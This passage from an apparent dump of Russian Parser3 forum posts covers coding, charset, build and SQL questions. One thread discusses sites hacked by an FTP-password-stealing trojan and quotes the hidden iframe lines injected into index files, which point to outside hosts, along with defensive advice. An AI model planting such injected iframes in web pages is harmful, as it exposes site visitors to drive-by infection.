	^if(\
		^hAttr.maxlength.int(0)\
		&& ^hAttr.value.length[] > ^hAttr.maxlength.int(0)\
	){\
		^hError.add[$.tooLong[1]]\
	}\
	^if(def $hAttr.pattern){\
		^try{\
			^if(!^hAttr.value.match[^^(?:$hAttr.pattern)^$]){\
				^hError.add[$.patternMismatch[1]]\
			}\
		}{\
			$exception.handled(true)\
		}\
	}\
}{\
	^if(def $hAttr.required){\
		^hError.add[$.valueMissing[1]]\
	}\
}\
^if(def $hAttr.customError){\
	^hError.add[$.customError[1]]\
}\
^xNode.setAttribute[valid;^if(!$hError){1;0}]\
^hError.foreach[k;v]{\
	^xNode.setAttribute[$k;$v]\
}\
$result[]\
#end @checkNode[][/code]"
"60645","Добрый день!\
Есть файл .xls, в некоторых ячейках которого есть переводы строк. Нужно научится из этого файла загружать данные на сайт.\
Что бы разбирать именно .xls файл, нужно вызывать внешние скрипты, что делать не очень хочется. Хочется обойтись дедовским методом с save as tab-delimited. только вот в этом tab-delimited получаются новые строки в том месте, где в каком-то текстовом моле исходной Excel'евской таблицы был перевод строки.\
\
Кто-нибудь сталкивался?\
Есть мысли?"
"60648","подумал, зачем писать ^foo.add[$.bar[1]], когда можно просто $foo.$bar[1]?\
\
или первый вариант нагляднее?"
"60649","как вам больше нравится.\
хотя возможно без add будет быстрее.\
\
P.S. проверил: и быстрее и жрет меньше %-)"
"60650","Мне это и нужно было. То, что Вам первое пришло в голову, мне показалось самой простой и удобной реализацией.\
\
P.S. Добавил в свой класс bLib:\
http://labour.googlecode.com/svn/classes/blib/trunk/bLib.p\
\
Если нет возражений, оставлю там."
"60651","Есть проект Mouse (разработчик KLeN). В нем отражены основные моменты Engine.\
\
[quot]\
Сам процес проектирования книги может породить новый проект, однако, в любом случае, нужно от чего-то отталкиваться.\
[/quot]\
Прямо в точку!"
"60652","меня бы он устраивал, но мне не понятно, как он мне может помочь?\
Расскажите, пожалуйста, как мне в Excel 2003 взять xls и сохранить его так, что бы каждая ячейка была обрамлена, например, '\"'?\
И что мне делать, если в этом же поле есть такой символ?\
Как загрузить такие данные парсером я понимаю. Про $.separator и $.encloser я отлично знаю, а вот как сделать читаемый экспорт из экселя мне не понятно :(\
\
Большое спасибо за помощь!"
"60655","...установкой парсера 3.1, который у меня раньше работал на Debian 3.0"
"60657","я закончил общение с MS Office года три назад, поэтому где там что-то подобное находится щас -- не знаю.\
\
в каком-то достаточно старом excel такое было при сохранении при выборе типа файла csv. появлялишь дополнительные шаги где это можно было указать.\
\
в используемом мной в настоящий момент OpenOffice это именно там (при save as csv) и находится. если вдруг в поле есть символ, который выбран в качестве encloser, то при сохранении он будет удвоен, при загружке парсером это удвоение будет убрано.\
\
если вы нашли конкретный пункт в меню, где это находится в excel 2003 -- может поделитесь, вдруг кому пригодится?"
"60659","Спасибо, метод работает,\
если в xml имеется несколько одинаковых блоков <title> </title>\
и один из них первый лишний, а остальные нужно разделить между собой, как это сделать ?\
\
также каждый из этих блоков имеет подблоки, тоже с одинаковыми названиями.. можно ли вывести эти подблоки отдельно ?\
\
буду в общем читать инструкцию, может и получиться разобраться.\
если кто поможет буду рад, \
P.S. раньше эти шаблоны не делал."
"60660","Вообще, мне всегда казалось странным/неправильным, когда на базе открытого софта люди ваяют что-то закрытое для себя и никому это не показывают.\
\
Вообщем, вопрос с книгой зарывать не надо. Разберусь с институтскими делами и к осени, думаю, буду свободен. Желание у меня по крайней мере на это есть. Сейчас, к сожалению, думать плотно над этим возможности нет, но и запускать не хочется."
"60664","Как правильно заметил Миша, когда делаешь для себя, то не задумываешься о структуре и грамотном оформлении кода.\
\
Я тоже написал движок на базе Engine, но некоторые вещи там сделаны \"на коленке\", поэтому выкладывать пока стыдно :-)"
"60670","Parser/3.2.1sp2 (compiled on i386-unknown-freebsd4.10)\
\
при отправке писем с аттачами, в gmail аттачи битые, в яндексе все хорошо"
"60672","Я помню, кто-то сталкивался. У меня тут на паре сайтов заменили index.html iframe'ом с линком на какие-то сайты. Полечил, но может кто-то знает, как это избежать впредь, а что важнее — как это было сделано."
"60674","Я Абсолютный новичок в парсере. \
Ваш язык супер! Но пока мне мало примеров!\
Не ругайте, если они есть, просто я их не нашел. Сегодня весь день по Интернету про парсер инфу дергаю.\
Интересуют примеры фотогалереи, загрузки файлов с указаним пути куда загружать и максимального размера загружаемого файла ну и хотелось бы глянуть простой форум, написанный на парсере!\
\
Видел фотогалерею на http://www.spearance.ru/parser3/gallery/ , но не нашел где смотреть код. Был бы код, вероятно, у меня были бы ответы на многие вопросы.\
\
Заранее спасибо! :)"
"60676","что хакера из меня не получилось :)\
а астальное не красиво, бум ждать $.format[uue|base64] ;)"
"60678","Из новостей http://www.host.ru/news/2007/03/19.html\
[quote]Данный тип вирусов распространяется следующим образом: вирус поражает компьютер клиента, если тот зашел на инфицированный сайт небезопасным браузером (например, если не установлены все последние обновления для браузера от его производителя). После этого вирус отслеживает логины и пароли от FTP-соединений в популярных программах FTP-клиентах. А затем подключается с данными логинами и паролями по протоколу FTP и заменяет один или несколько индексных файлов на сервере, дописывая в них свой код примерно такого содержания: \
\
<iframe src=\"http://81.95.../traff/...\" width=1 height=1></iframe>[/quote]\
\
http://www.viruslist.com/en/viruses/encyclopedia?virusid=49764\
[quote]The Trojan uses Microsoft.XMLHTTP to download a file from an address which is given as a parameter. This file will be saved using ADODB.Stream to C:\\Program Files\\Internet Explorer\\ \
\
The file will then be launched for execution by a function which will vary in accordance with the version of Windows.[/quote]\
\
Я так, понял, что в худшем случае, можно сделать бэкдор через эту дрянь.\
\
Вот ещё интересные вещи пишут. http://conf.computery.ru/viewtopic.php?t=13339"
"60680","<!--iframe src='http://smartal.ru/stata/index.php' width='1' height='1' style='visibility: hidden;'></iframe-->\
\
Засовывается, походу автоматом во все index."
"60681","Вот Миша ссылку дал уже на тот тред.\
Более того, умудрился второй раз столкнуться пару дней назад.\
Это целое семейство троянов, они постоянно меняются и появляются новые.\
Ловится этот троян, или зайдя через эксплорер на зараженный сайт, или ручками (бывает надо всякие сомнительные программы запустить). Этот троян собирает пароли и отсылает их. К примеру у меня все пароли в Far'е были.\
В общем единственное, что поможет - антивирус+firewall. И лучше не хранить пароли в фтп клиенте.\
Антивирус - чтобы ловить, firewall чтобы предотвратить отсылку паролей в случае если антивирус не поймает. У меня так и случилось - в McAfee и Касперском, когда отослал им, сказали мол, спасибо, в следующем обновлении баз будет ловить.\
\
Код на сайте заменяется скриптом каким-то, причем по разному. Бывает в конец файла, бывает сразу после <body> вставляется iframe.."
"60682","http://update.microsoft.com - ставите все critical updates как минимум, настраиваете на автоматическую установку обновлений.\
http://www.microsoft.com/technet/security/tools/mbsa2/default.mspx - прогоняете следом, выполняете рекомендации умной программы.\
\
Затем создаёте в системе учётную запись с именем, скажем, \"root\" :-), даёте ей админские права. Со всех остальных записей, включая вашу, админские права [b]снимаете[/b]. Если в дальнейшем потребуется запустить программу с админскими правами, открываете её через Shift-клик => Run As.. (\"Запуск от имени...\")\
\
Если у вашего аккаунта нет админских прав, вирусу, который вы подхватите, будет невозможно прибить антивирус, отключить файрволл, записаться в c:\\winnt\\ или в c:\\program files\\"
"60683","Я впринципе почему-то уверен, что это не из-за меня. Плюс ко всему, ослом-то не так часто пользуюсь. Да и сайты там принадлежат одной и той же студии.\
\
Грешу на них."
"60684","но я уверен, что у вас есть все, чтобы написать их. Главное понимать принцип работы того или иного модуля, а написать это на Парсере не составит особых проблем."
"60686","Самое обидное в этой ситуации это не потеря кода, я бекаплюсь часто. А то, что звонят и говорят: «А чё сайт не работает?».\
\
PS: http://www.parser.ru/forum/users/?uid=1144"
"60690","интересует ваше мнение о плюсах и минусах веб-интерфейса и отдельного приложения... в принципе, написать графическое приложение будет по многим причинам лучше, но меня беспокоит одно - допустим, продали вы свою cms кому-то, а этот кто-то часто путешествует или просто админит часто не со своей машины.. что ему делать - ставить везде эту cms?"
"60691","Думал на эту тему давно. Расписывать все времени нет, вот плюсы веб-приложений, которые я вынес для себя:\
1) стабильность\
2) безопасность\
3) концептуальность продукта\
4) доступность\
5) цена\
6) саппорт\
Думаю, что тут все и так понятно, если вопросы все же появятся, постараюсь ответить."
"60692","согласен. но писать кроссбраузерный javascript для админки и кучу dhtml все же, по-моему, плохо.\
да, вот еще: если админки как таковой на сайте нет, то что тогда ломать? т.е. у взломщика возникает только возможность дефейса или чего-то мелкого... \
кто как считает?"
"60693","Да в написании \"кучи\" dhtml не виду чего то плохого.\
поясните?"
"60694","что именно пояснить? то что, можно сделать в той же VS .NET, тут надо будет городить огород из dhtml для менюшек и всего прочего.."
"60695","Даже если не смотреть в сторону массы готовых решений по JS интерфейсам, через какое то время у вас так или иначе будут разработаны свои классы которые возьмут на себя рутину.\
\
Преимуществ у OS-приложений не вижу вообще никаких. :-/"
"60696","тогда почему сотрудники Студии остановились на .NET?"
"60697","Преимущества GUI:\
\
1. Скорость, так как летают только данные и интерфейсы грузить не надо.\
\
2. Радость пользователя.\
\
3. Скорость разработки форм админа (куча готовых компонентов как в Visual Studio так и в Java Swing)\
\
Из минусов: Надо знать Java или C# и SOAP парсер пока не поддерживает, потому либо писать свой вариант SOAP сервера на парсере либо смотреть в сторону кросс-платформенного Java или .NET, что существенно сужает рамки выбора хостинга.\
\
А вообще думаю, практично совмещать и взаимозаменять GUI и WEB. Например, основную _универсальную_ функциональность положить на GUI, а _специфичные_ для конкретного проекта вещи делать в веб-интерфейсах."
"60698","думаю, у их клиентов не возникает ситуации, когда контент-менеджеру надо что-то срочно повесить на сайт из турецкого интернет-кафе."
"60699","Смотря насколько кроссбраузерный.\
Для относительно последних версий браузеров (фф 1.5+, опера 9+, ие6+) никакой кросс-браузерности на деле не надо, надо просто учесть несколько особенностей. Это касаемо js/dhtml. \
Касаемо верстки всё сложнее, но мы ведь именно о скриптах, да?"
"60701","Да и сыроват пока XUL, но работать уже можно."
"60702","в конечном итоге с XUL все также упирается в кучу скриптов на JS"
"60704","с вами согласен. единственное, что меня беспокоит - если админить все время с разных машин, что делать тгда, если админка на GUI?"
"60705","воожу в GET-форму \"а\" строка запроса:\
http://www.site.ru/?q=%E0\
\
почему конструкция\
[code]^untaint[uri]{%E0}[/code]\
выдает \"%E0\", а не \"а\"?"
"60707","[code]^untaint[uri]{$form:q}=='%25E0'[/code]"
"60708","при обращении к элементам form они декодируются автоматически.\
\
P.S. просьба до изучения указанных вещей, а также поиска ответа на ваш вопрос в форуме эту дискуссию не продолжать. тема обсосаная не рез и не два."
"60709","все ошибочные запросы (404) перехватываются файлом /redirect.html\
там обрабатывается $request:uri и через $respose:location пересылается в нужное место.\
\
как оттуда получить нормальные данные на пересланную страницу?"
"60711","В .htaccess пишете:[code]RewriteEngine on \
# RewriteRule (gif|jpg|js|css|exe|zip|rar|pdf|doc|xls|ppt|swf|ipx|txt|xslt|xsl|tif|eps|tiff|ico|ent|chm|cfm|gz)$ - [L]\
RewriteRule ^admin/ [L]\
RewriteCond %{REQUEST_FILENAME} !-f \
RewriteCond %{REQUEST_FILENAME} !-d \
RewriteRule ^(.*)$ /redirect.html?type=via_rewrite&uri=/$1 [L,QSA][/code]Пользователь наберёт http://example.com/some/path/to/file.html?a=вася&c=маша, а ему будет незаметно для него выдана страница http://example.com/redirect.html?type=via_rewrite&uri=some/path/to/file.html&a=вася&c=маша Путь в адресной строке браузера не изменится.\
\
Внутри redirect.html $form:a выдаст \"вася\", а не строку с процентиками."
"60712","можно поподробние, у меня Debian GNU/Linux Etch 4.0 x86_64,не могу поставить parser3. Тот которы есть на сайте, не получается ничего, может я что-то не так делаю.\
\
Я все заливаю в папку cgi-bin/\
parser3\
libparser3mysql.so\
\
Когда запускаю сайт, пишет Internal Server Error.\
В логах пишет, что проблема в libparser3mysql.so.\
\
До этого сайт работал на Linux RedHat, все было ок, но как переставили - работать перестало."
"60713","пишет\
\
/: -body of process-(3:21): 'connect-string' element can not be stored to void [parser.runtime]"
"60717","Почему для парсера до сих пор нет Компилера или какого-нить оптимизатора в байткод? По типу как у Python'a .pyo, .pyc или \
типа Zend'a для PHP.\
Мотивации 2-е:\
 - Ускорение работы кода\
 - Защита кода - создание коммерческих веб-приложений"
"60718","Так-то уже давно Apache 2.x в ходу"
"60721","Как обработать rss-файл у которого встречается буква \"й\" в тексте? \
\
у меня в коде \
[code]$filexml[^file::load[text;^untaint{$feeduri}]]		\
$xml[^xdoc::create{^untaint{$filexml.text}}][/code]\
\
возникает ошибка parser error : EntityRef: expecting ';'\
\
Как полечить?"
"60722","мы на одном проекте сейчас вынужденны по двум причинам переходить на пхп :( - очень не хочется, но ...\
\
причины следующие:\
1. типа сложно найти программистов на парсер для поддержки и развития проекта (хотя я в корне с этим не согласен - гораздо проще обучить с нуля писать на парсер, чем на пхп; есть куча людей, которые слышали слово пхп и даже пробовали писать простенький код и поэтому считают себя пхп-программистами).\
2. пресловутая защита кода. Вот тут крыть нам нечем к сожалению. Есть идеи встроить в свой вариант парсера кое-какие специфичные классы, которых нет в стандартном парсере + прикрутить привязку парсера к железу компьютера, где он работает. Но на это пока нет времени к сожалению, да и в исходники парсера надо лезть с головой."
"60723","Че за гонимый ответ, на оба вопроса, народ пишет неоднократно и это нужно, если все это только для себя - то нахрен вообще было в public всю тему выкладывать (я имею ввиду сам парсер как проект)"
"60724","10.1 * 249 * 1.15\
\
Почему на выходе 2892.13 вместо 2892.135?"
"60726","P.S. пожалуйста, выбирайте выражения..."
"60727","$s(10.1 * 249 * 1.15)\
$s\
\
Почему так не выдает?"
"60728","почему должно быть 3 символа, а не 2, 4, 6 или 18? (список можно продолжть)"
"60729","Через таблицу подстановок заменил [b]й[/b] на [b]и[/b], ошибка вылезла в другой строке:\
[quote]<description>Вместо привычных цветов - хаки и ярко-зеленого, стражи границ будут носить темно-синий и васильковый.</description>[/quote]\
\
валидатор на эту строку не ругается... что с ней не так? почему вылетает [quote]create' Entity: line 84: parser error : EntityRef: expecting ';[/quote]'"
"60730","Если кому-то понадобиться обрезать хвост.\
Ну, типа:\
\
[code]@numberFormat[dVal;$sizeR]\
\
$cInt[^math:trunc($dVal)]\
$cRem[^math:frac($dVal)]\
\
^if($cRem){\
	$cRem[^cRem.mid(2;${sizeR})]\
	$dVal[${cInt}.${cRem}]\
}\
\
$return[$dVal][/code]\
\
Как вы на это смотрите?"
"60731","http://www.parser.ru/forum/?id=47818\
\
вы предлагаете некотороый изврат. в простых случаях достаточно ^s.format[%.3f]"
"60733","Ответ вполне нормальный. Если проект Open, это еще не значит, что вам что-то должны. Хотите - делайте.\
\
По собственному опыту скажу, что когда делаешь открытый проект, то ориентируешься на то, что прежде всего нужно самому.\
\
За \"заказные\" фичи принято платить."
"60734","Vista тоже в ходу, но это еще не значит, что все ее с радостью используют.\
\
Я пробовал работать с 2-кой - не понравилось. Да и зачем, если и на единице все работает прекрасно.\
\
К тому-же на большинстве хостов именно она и стоит."
"60735","Может кто знает ?\
Написать скрипт для работы со службой XML Yandex дело 30 минут, используя fsockopen. \
\
Решил попробовать это сделать на parser3, и тутже встал вопрос. \
Как хоть подступиться ?\
\
Укажите путь, кто пробовал ?"
"60736","ибо есть ощущение что дело не в конкретных буквах.\
\
например мне недавно попался \"xml\", где был символ с кодом 0x04 -- на него матерились все: опера, IE, FF и parser. заглядывание в source решило проблему за пару минут."
"60738","Для отправки POST-запроса? Для этого есть ^file::load."
"60739","Вы правы. нашел в тексте символ [b]&[/b].\
Подскажите, как его корректно заменить?\
Пробовал в лоб на [b]&#232;[/b] вылетает ошибка [quote]called with two params, first param may only be string 'nameless'[/quote]"
"60742","Тоесть как реализовать на парсере эту конструкцию\
\
[code]\
$fp = fsockopen($ya_host, '80');\
\
	if ($fp) {\
\
		fputs($fp, \"POST $ya_path HTTP/1.0\\r\\n\");\
\
		fputs($fp, \"Host: $ya_host\\r\\n\");\
\
		fputs($fp, \"Content-type: application/xml\\r\\n\");\
\
		fputs($fp, 'Content-length: '. strlen($post_query) .\"\\r\\n\\r\\n\");\
\
		fputs($fp, $post_query);\
\
\
\
		while (!feof($fp)) {\
\
			$content .= fgets($fp, 4096);\
\
		}\
	}\
[/code]"
"60743","[code]\
$f[^file::load[text;http://$ya_host/$ya_path;\
	$.method[POST]\
	$.form[$post_data] ^rem{ хеш с данными. см. доку. }\
]]\
Получили: $f.text\
[/code]"
"60744","Я за Си давно не брался, поэтому помочь ничем не смогу. Однако, думаю, в  форуме масса народа, которая с этим справиться.\
\
Задайте вопрос конкретно (хоть тому-же Мише или Александру) и обозначьте свою вилку цен - вам ответят."
"60745","Да жалко просто, хоть рёвом реви, проект неплохой, быстро на него подсаживаешься, скорость разработки подкупает - а вот эти два нюанса как небыло, так и нет - и это ну просто все портит.\
Я бы сам сделал - но я не в силах такие вещи сделать.\
Грубо говоря - они правда очень важные, может все же поднимется рука разработчиков (на компилер или байткодер и mod под Apache 2.0).\
Я же не спрашиваю типа а где класс чтобы на картинки фильтры накладывать, графики рисовать... и прочие обвесы...\
\
Короче просто жалко до глубины души...\
Придется слазить с него видимо, хоть и не хочется."
"60746","Ответят :) гы гы...\
я думаю у вас нет столько денег\
\
я как-то звонил в студию цену только на диз для сайта узнать...\
нижний порог, мне сказали, (если без иконок) от 60.000 евро\
\
это года 2-3 назад...\
\
за эти деньги я свою ОС в новосибирске закажу :)"
"60748","http://www.parser.ru/forum/?id=44290 (уже в cvs)\
http://www.parser.ru/forum/?id=54612\
+ некотороые количество присланного кода, который уже добавлен в парсер (в том числе присылался вариант кеширования байт кода, но реализация ПАФ-а не устроила, да и изначальная постановка там была именно в кешировании, а не в защите его таким образом. возможно если кто-то захочет довести его до ума -- поделимся наработками).\
\
т.е. когда кому-то что-то надо -- они находят людей, способных реализовать это.\
\
а заказывать это в студии незачем."
"60749","Предлагаю дополнительный рекламный аргумент в пользу Парсера:\
\
[i]\"С Парсером Вы Втрое Меньше Мучаете Клавиатуру\"[/i]"
"60760","сейчас модно стало на один листочик, как в шпаргалку, выписывать в понятном изложении элементы языка.\
наверное видели такие для CSS, javascript, PHP .\
никто не делал для парсера?"
"60761","а че в голове-то хранить будете, когда двадцатку с небольшим простеньких англицких слофф забудете на вашей \"шпаргалке\"? :)\
\
...все уже украдено до вас - http://www.parser.ru/docs/\
говорят нынче pdf моднее фсех... на одной странице (все в одном месте...) распологается (при желании) за 8 минут...\
\
PS бугага? \
PPS понравилось."
"60762","В работе Parser произошла ошибка:\
column not foundОшибку вызвал этот фрагмент:\
name \
Ошибка произошла при работе с файлом:\
/auto.p, строка номер 7Что обычно приводит к ошибке «parser.runtime»?\
вы вызываете несуществующий метод (опечатка в имени или файл, в котором он лежит, недоступен?), методу передано неправильное количество параметров (нигде, часом, не забыли поставить \"птичку\" перед знаком ; где он не несёт специального значения?) или не тех типов, и т.п. Возможно, где-то опечатка в названии стандартной функции или в её использовании. Внимательно перепроверьте ваш код.\
\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
menu в файле /auto.p, строка 5 \
navigation в файле /index.html, строка 2 \
__________________________________\
Ну и что тут не так?\
auto.p\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"center\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
\
sections.cfg\
\
[code]section_id	name   			uri\
 \
1         	Главная  		/\
 \
2         	Новости  		/news/\
 \
3         	Контакты 		/contacts/\
 \
4         	Цены     		/price/\
 \
5         	Ваше мнение		/gbook/[/code]\
ну и просто создал index.html и в нем написал одно слово ^navigation[]\
что я делаю не так?"
"60765","[b]sections.cfg [/b]\
[code]\
section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
3	Контакты	/contacts/\
4	Цены	/price/\
5	Ваше мнение	/gbook/\
[/code]"
"60766","Спасибо, просто я стормозил немного, действительно все очень просто"
"60767","Можно ли тоже сделать изящней?\
\
$tab1[^table::create{number\
1\
1\
2\
}]\
\
$tab2[^table::create{number\
4\
5\
5\
}]\
\
^tab1.join[$tab2;$.offset[cur]]\
^tab1.menu{\
$tab1.number\
}[<br />]\
\
$tblinclude[^table::create{number}]\
$tblexclude[^table::create{number}]\
\
^tab1.menu{\
^if(!^tblinclude.locate[number;$tab1.number]){ \
^tblinclude.append{$tab1.number}\
}{\
^tblexclude.append{$tab1.number}\
}\
}\
\
<br />всё по одному<br />\
^tblinclude.menu{\
$tblinclude.number<br />\
}\
\
<br />повторы<br />\
^tblexclude.menu{\
$tblexclude.number<br />\
}"
"60768","Скачал  отсюда под 3.1... не подходит походу, так как показывает код парсера, настроил апач вроде правильно, покрайней мере как написано в FAQ, остается надежда на компилицию под 4ую версию... так вопрос не кто не знает где достать?\
\
пробывал сам... оказалось не посилам) вечно вышибает ошибки... хоть все пакеты которые ему хоцца подогнал"
"60773","Что мешает преобразовать таблицы в хеши с опцией $.distinct(1)\
затем сделать с хешами union?\
\
А может вообще разобраться а нужны ли там таблицы и сразу с поступившими хешами сделать union"
"60775","если вы опишите _задачу_, то возможно её можно будет решить без создания двух подобных таблиц."
"60776","1. таблица в БД с полем, в котором хранятся номера.\
2. есть строка, где номера записаны через запятую.\
Надо их сравнить и получить (хоть строку, хоть таблицу), где номера не будут повторять номера в таблице.\
\
и ещё вопрос.\
сделал так\
$tab1_hash[^tab1.hash[number;number;$.distinct(1)]]\
а как мне теперь увидеть мой хеш?"
"60777","foreach - я полагаю, вообще есть документация там всё это написано"
"60779","есть таблица\
[code]$tab1[^table::create{number\
1\
1\
2\
}][/code]\
что мне надо написать , чтобы получить хэш?\
\
смотрю справку \"hash. Преобразование таблицы к хешу с заданными ключами\" \
[code]\
^таблица.hash[ключ] \
^таблица.hash[ключ][опции] \
^таблица.hash[ключ][столбец значений] \
^таблица.hash[ключ][столбец значений][опции] \
^таблица.hash[ключ][таблица со столбцами значений] \
^таблица.hash[ключ][таблица со столбцами значений][опции] \
[/code]\
\
по образцу:\
[code]^таблица.hash[name;name;$.distinct(1)], Misha v.3 [M] [27.05 12:19][/code]\
в квадратных скобках записан ключ?!\
но Вы же понимаете, что я не понимаю , как [code]name;name;$.distinct(1)[/code] может быть ключом.\
уверен неоднократно обсуждалось, наверное каждому нужен какой-то свой аргумент для понимания.\
\
если можно на конкретном примере\
спасибо :)"
"60781","[quot]\
что мне надо написать , чтобы получить хэш?\
[/quot]\
\
а подумать? или попробовать? или написать как у меня?\
или, если все таки ничего не помогает -- прочитать что сказано в инструкции про [url=\"/docs/lang/params.htm\"]передачу параметров[/url]?"
"60782","вы не описали задачу. вы описали уже придуманный алгоритм. причем описани его недостаточно ясно\
[quot]\
таблица в БД с полем, в котором хранятся номера\
[/quot]\
\
пардон: в одном поле список полей через запятую или обычная татлица со связями многие ко многим?\
\
[quot]\
есть строка, где номера записаны через запятую.\
[/quot]\
пардон, откуда такая строка? вы её сделали своим кодом или она пришла откуда-то и неподвластна вам?\
\
[quot]\
Надо их сравнить и получить (хоть строку, хоть таблицу), где номера не будут повторять номера в таблице.\
[/quot]\
\
нафига их сравнивать? почему не отправить их куда-нить постом, не передать в exec? \
\
если хотите выслушать мою рекомендацию -- [b]опишите задачу[/b], если нет -- можете реализовывать уже существующий алгоритм. возможно что-то в нём упростить и можно, но я не буду над этим думать, т.к. со стороны мне кажется что изначально было выбран неверный путь."
"60783","Хочу сказать, что выше я всё же описал задачу, а не алгоритм. Видимо как то коряво.\
Попробую ещё раз:\
Есть одноколоночные таблица №1 и таблица №2.\
Надо получить набор (строку,таблицу,хеш) в котором из 1-й таблицы исключить элементы 2-й.\
(это же не алгоритм, верно?)\
\
Более развёрнуто (опишу что делаю):\
\
Таблица1\
ID | name | comment | status | dt_create |\
\
На основе таблицы1 из БД, вывожу web-форму1 с полями чекбоксами. Значения полей чексбоксов равны (ID) - это одно поле в таблице1.\
В процессе работы пользователем помечаются чекбоксы и форма отправляется.\
Отмеченные поля запоминаются мною в хэш-файле, ассоциировано с идентификатором «сеанса общения с посетителем», в виде строки, где эти отмеченные номера (ID) перечисляются через запятую.\
В процессе работы пользователь переходит к другой странице, где тоже формируется web-форма2, но на основе таблицы2\
\
Таблица2\
PID | user | ID |\
\
Функциональность web-форма2 описывать не буду.\
Смысл в том что при нажатии на кнопку submit надо внести в таблицу2 значения, отобранные в предыдущей форме, и те которых ещё нет в таблице2.\
ммм... хороший пример. Вы коллекционер, и на развале набираете ценные вещи, и как вам кажется которых у вас ещё нет. Но придя домой, обнаруживаете что в вашем каталоге некоторые вещи уже есть.\
Новые добавляете, повторы не добавляете!\
Спасибо!"
"60787","[quot]\
Надо получить набор (строку,таблицу,хеш) в котором из 1-й таблицы исключить элементы 2-й.\
(это же не алгоритм, верно?)\
[/quot]\
\
по моему -- алгоритм.\
не упомянуто главное -- что с полученным списком значений собираетесь делать. это может перевернуть всё решение.\
\
\
[quot]\
при нажатии на кнопку submit надо внести в таблицу2 значения, отобранные в предыдущей форме, и те которых ещё нет в таблице2.\
[/quot]\
\
я бы сдела это средствами sql сервера: добавил бы уникальный индекс на столбцы \"user\" + \"ID\" и просто добавлял бы в таблицу записи в try. если у нас там такая запись уже есть -- она не добавится."
"60788","Скачал исходники, запускаю ./buildall-with-xml. Качает и устанавливает libgc и еще какие-то дополнительные библиотеки, а потом ругается, что libgc нет и просит указать вручную путь. Указываю вручную, не видит в упор, опять повторяет, что надо указать путь к libgc. У кого-то уже были такие проблемы?"
"60789","Установил парсер на 6-ю фряху. Кодировки в /cgi-bin/charsets/. Вместо кирилицы - кракозяблы :-("
"60790","- какие из них подключаются?\
- как подключаются?\
- как вы убедились что они подключаются?\
- что указано в request:charset и response:charset?\
- в какой кодировке вы пишите буквы в файликах?"
"60791","расскажите чуть подробнее про то, куда вы положили исходники перед сборкой и в какие места у вас скачиваются и собираются библиотеки (приведите пути).\
\
кроме того упомяните плиз, какую версию вы пытаетесь собирать -- из cvs (если да, то какую ветку) или из раздела скачать?"
"60792","Версия последняя - 3.2.1sp2 из раздела скачать. Libgc установилась в тот же каталог , где находится каталог с исходниками парсера. Например вот так:\
\
исходники парсера лежат в каталоге /home/parser32, а libgc собирается в /home/gc. Там создается поддиректория lib и в ней 2 файла: libgc.a и libgc.la. Парсер при сборке как я понял ищет именно libgc.a или libgc.la. При попытке указать пути к ним вручную получаю такое же сообщение, что и при автоматической сборке"
"60793","Добрый день. \
Переношу сайт на хостинг. После импорта базы на сервер - всё нормально. После редактирования данных через /admin/ в базе вместо русских символов вопросительные знаки.\
При этом непосредственно перед UPDATE в строке на стороне сервера нормальный русский текст в win-1251 (проверял записью этой строки в файл).\
$request:charset = windows-1251\
$response:charset = windows-1251\
Файлы на сервере тоже в cp1251\
Подключаюсь к базе строкой: mysql://user:pass@localhost/dbname?charset=cp1251\
Пробовал уже и с другими эксперементировать.\
Подскажите, что я не понимаю.\
Спасибо.\
\
FreeBSD 6.2, MySQL 4.1.22"
"60794","-\
-\
- Парсер не пишет в логе что не найден файл\
- $request:charset[windows-1251]\
- В ANSI"
"60795","попробуйте подключиться к базе без указания кодировки вообще, т.е.\
mysql://user:pass@localhost/dbname\
\
очень часто помогает"
"60797","P.S. вопрошающий ничего не рассказал про кодировки своей БД, поэтому в данном случае помочь ему невозможно."
"60799","а строка ./configure парсера как выглядит? (та, которая выводится при выполнении ./buildall-..., то что написано в скрипте я и так знаю)"
"60800","-\
-\
- и что вы предприняли чтобы понять, почему у вас что-то не подключается (кстати что именно не подключается? если ошибка в логе -- то с предлагаемым конфигурационным auto.p крокозябр быть не может)\
\
P.S. боюсь вы меня не верно поняли: я могу лишь показать где вам искать проблему, но не найти её за вас."
"60802","опять перестанет работать как только вы захотите пообщаться в 1251 (выдать данные посетителям в этой кодировке, или загрузить что-то с удалённого сервера)."
"60811","значит НЕ нужно комплировать что-то там.\
а нужно разобраться, почему показывает код — т.е. почему ваш веб-сервер не вызывает parser для обработки ваших страниц.\
перепроверьте настройки?"
"60812","когда вам подобные сообщения присылают ваши пользователи, вы сразу всё понимаете?\
\
напишите толком, пожалуйста."
"60813","что подробнее можно почитать в config.log\
пожалуйста, почитайте и приведите здесь соответствующий блок?"
"60814","В статистике медленных запросов сайта стали появлятся строки. Запрос исполняется по 20-30 секунд. Вот пример\
[code]SELECT\
DAYOFMONTH(dt_published) AS day,\
MONTH(dt_published) AS month,\
YEAR(dt_published) AS year\
FROM\
groups,\
article,\
article_translation\
WHERE\
groups.id = article.group_id\
AND\
article_translation.article_id = article.id\
AND\
article_translation.lang_id = 1\
AND article.is_active = 1\
AND groups.type_is & 65 = 65\
AND article.dt_published <= '2007-05-28 23:00:44'\
GROUP BY\
year DESC,\
month DESC,\
day DESC; [/code]\
\
Считано рядов: 339\
(tmp): 28095\
\
Запрос строит таблицу для календаря новостей по Мишиному примеру.\
\
Как я понимаю вся нагрузка идет из-за группировки по трем полям? Подскажите, как можно оптимизировать и ускорить запрос?Может где индексы не проставлены?\
\
Вариант с кешированием запроса не подходит, т.к. новости добавляются каждые 10-20 минут,и приходится на каждой новой новости сбрасывать кеш.\
\
Дам любую информацию для решения вопроса, просто я не знаю что тут может пригодится."
"60815","сразу могу сказать что & в запросе -- минус использование индексов. т.е. если разбить на 2 запрома, в одном доставать group_id из group (+ наверное его можно кешировать) и во втором article.group_id in (...) то уже полегчает.\
\
ещё можно ввести избыточное поле (напр. varchar(8) или integer), в него при добавлении/изменени новости писать что-то типа concat(year(...),month(...),day(...)) (это пример, он неверный) и группировать по нему (для существующих записей сделать один update). т.е. группировка будет по одному полю и при этом не по функции. тоже должно стать легче.\
\
group by year DESC -- разве 'desc' тут применим?"
"60816","результат Explain\
[code]id	select_type	table	type	possible_keys	key	key_len	ref	rows	Extra\
